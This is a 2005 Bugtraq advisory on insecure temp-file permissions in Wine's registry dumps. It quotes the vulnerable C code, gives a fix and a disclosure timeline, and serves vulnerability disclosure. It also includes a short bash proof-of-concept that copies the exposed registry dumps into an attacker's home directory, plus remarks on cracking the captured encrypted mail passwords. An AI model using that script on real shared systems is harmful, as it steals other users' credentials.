Message-ID: <20050314135701.30231.qmail@www.securityfocus.com>
Date: 14 Mar 2005 13:57:01 -0000
From: Giovanni Delvecchio <badpenguin79@...mail.com>
To: bugtraq@...urityfocus.com
Subject: [ZH2005-02SA] Insecure tmp file creation in Wine




[ZH2005-02SA] Insecure tmp file creation in Wine
	 
03/13/2005
 
Title: Insecure tmp file creation in Wine

Author: Giovanni Delvecchio
e-mail: badpenguin@...e-h.org

Version affected : Wine 20050211 and previous releases



About Wine
========
from http://www.winehq.org/site/docs/wine-faq/index :

Wine is a program which allows the operation of DOS and MS Windows programs (Windows 3.x and Win32 executables) on UNIX operating systems such as Linux. It consists of a program loader, which loads and executes a Windows binary, and a set of libraries that implements Windows API calls using their UNIX or X11 equivalents. The libraries may also be used for porting Win32 code into native UNIX executables, often without many changes in the source. Wine is free software, and its license (contained in the file LICENSE in each distribution) is the LGPL.



Problem
======

When a win32 application is launched by wine, wine makes a dump of the windows registry in /tmp with name regxxxxyyyy.tmp , where xxxxxx is the pid in hexadecimal value of the current wine process and yyyy is an integer value usually equal to zero.

regxxxxyyyy.tmp is created with 0644 ( -rw-r--r-- )permissions.
This could represent a security problem in a multi-user environment.
Indeed, any local user could access to windows regstry's dump and get sensitive information, like passwords and other private data.



Details
=======

The functions affected are _get_tmp_fn(FILE **) in $winerelease/misc/registry.c and
save_branch( struct key *key, const char *path ) in $winerelease/server/registry.c

_get_tmp_fn(FILE **) @ $winerelease/misc/registry.c :
-----------------------------------------------------
static LPSTR _get_tmp_fn(FILE **f)
{
LPSTR ret;
int tmp_fd,count;

ret = _xmalloc(50);
for (count = 0;;) {
sprintf(ret,"/tmp/reg%lx%04x.tmp",(long)getpid(),count++);

//here file regxxxyyyy.tmp is not created with secure permssions
if ((tmp_fd = open(ret,O_CREAT | O_EXCL | O_WRONLY,0666)) != -1) break;
if (errno != EEXIST) {
ERR("Unexpected error while open() call: %s\n",strerror(errno));
free(ret);
*f = NULL;
return NULL;
}
}
------------------------------------------------------


save_branch( struct key *,const char * ) @ $winerelease/server/registry.c:
------------------------------------------------------

static int save_branch( struct key *key, const char *path )
{
struct stat st;
char *p, *real, *tmp = NULL;
int fd, count = 0, ret = 0, by_symlink;
FILE *f;
.
.
.
for (;;)
{
sprintf( p, "reg%lx%04x.tmp", (long) getpid(), count++ );
//here file regxxxyyyy.tmp is not created with secure permssions
if ((fd = open( tmp, O_CREAT | O_EXCL | O_WRONLY, 0666 )) != -1) break;
if (errno != EEXIST) goto done;
close( fd );
}

.
.
.
}

------------------------------------------------------


When regxxxyyyy.tmp is created by open(), 0666 mode is used as argument.
Since default umask is 022 ==> (0666) &~ (022) = 0644 = -rw-r--r-- the file will be created with 0644 permissions.



Proof of Concepts
=================

To expoloit this bug, a local attacker could use a bash script to check the presence of regxxxyyyy.tmp in /tmp and copy it in his home directory for a successive analysis.


Example of bash script:

----------------------------------------------

#!/bin/sh

count=1
while [ true ]; do
if [ -f /tmp/reg*.tmp ]; then
cp /tmp/reg* /home/attacker/reg$count
count=$(($count + 1))
sleep 1
fi
done

---------------------------------------------


I have made some tests to reproduce this bug, running several applications and i noted that has been possible get sensitive information like:

_______________________________________________________

[Software\\Microsoft\\Protected Storage System Provider\\*Default*\\Data\\b9819c52-1e12-4bbd-91e7-af9afea5b02d
\\87f5aab7-ca62-41c5-8896-27714d7b7e73\\MARSUSERPROTECTEDINFO]
"Behavior"=hex:xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx
"Item Data"=hex:xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx

_______________________________________________________


-------------------------------------------------------
[Software\\Microsoft\\Protected Storage System Provider\\*Default*\\Data\\220d5cc1-853a-11d0-84bc-00c04fd43f8f
\\417e2d75-84bd-11d0-84bb-00c04fd43f8f\\HotmailCC990760]
"Behavior"=hex:xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx
"Item Data"=hex:xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx

-------------------------------------------------------

and

-------------------------------------------------------

[Software\\Microsoft\\Internet Account Manager\\Accounts\\00000008]
"Account Name"="libero.it"
"Connection Type"=dword:00000003
"POP3 Server"="pop3.libero.it"
"POP3 User Name"="xxxxxxx"
"POP3 Password2"=hex:xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx
"POP3 Prompt for Password"=dword:00000000
"SMTP Server"="mail.libero.it"
"SMTP Display Name"="xxxxxx"
"SMTP Email Address"="xxxxxx@...ero.it"
"POP3 Skip Account"=dword:00000000
"POP3 Port"=dword:0000006e
"SMTP User Name"=""
"SMTP Password2"=hex:xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,xx,\
xx,xx,xx,xx,xx,xx,xx,xx,xx,xx
"SMTP Use Sicily"=dword:00000000
"SMTP Prompt for Password"=dword:00000000


-------------------------------------------------------

where there were MSN Explorer and outlook's passwords encrypted.

Note that also if they are encrypted, they could be imported on the windows
registry system of the attacker and so gain illegal access with victim's account, or using one of many tools availble on the net to "crack" such encrypted password.



Solution:
========

A fix for this problem could be call the function open() using 0600 mode:

... open(ret,O_CREAT | O_EXCL | O_WRONLY,0600)) ....

I have provided a possible patch :
donwload the patch file from http://www.zone-h.org/download/file=5374/ in your wine sources directory and launch:

gzip -cd wine_registry_patch.tar.gz | patch -p1



Timeline
========
11th February 2005 - Bug dicovered
12th February 2005 - Wine contacted by wine-bugs@...ehq.org
13th March 2005 - Public advisory

Note: 10th March 2005 - Wine20050310 has been released, but the problem has not been fixed yet .



Reference:
=========
http://www.zone-h.org/advisories/read/id=7300 
http://bugs.winehq.org/show_bug.cgi?id=2715

Powered by blists - more mailing lists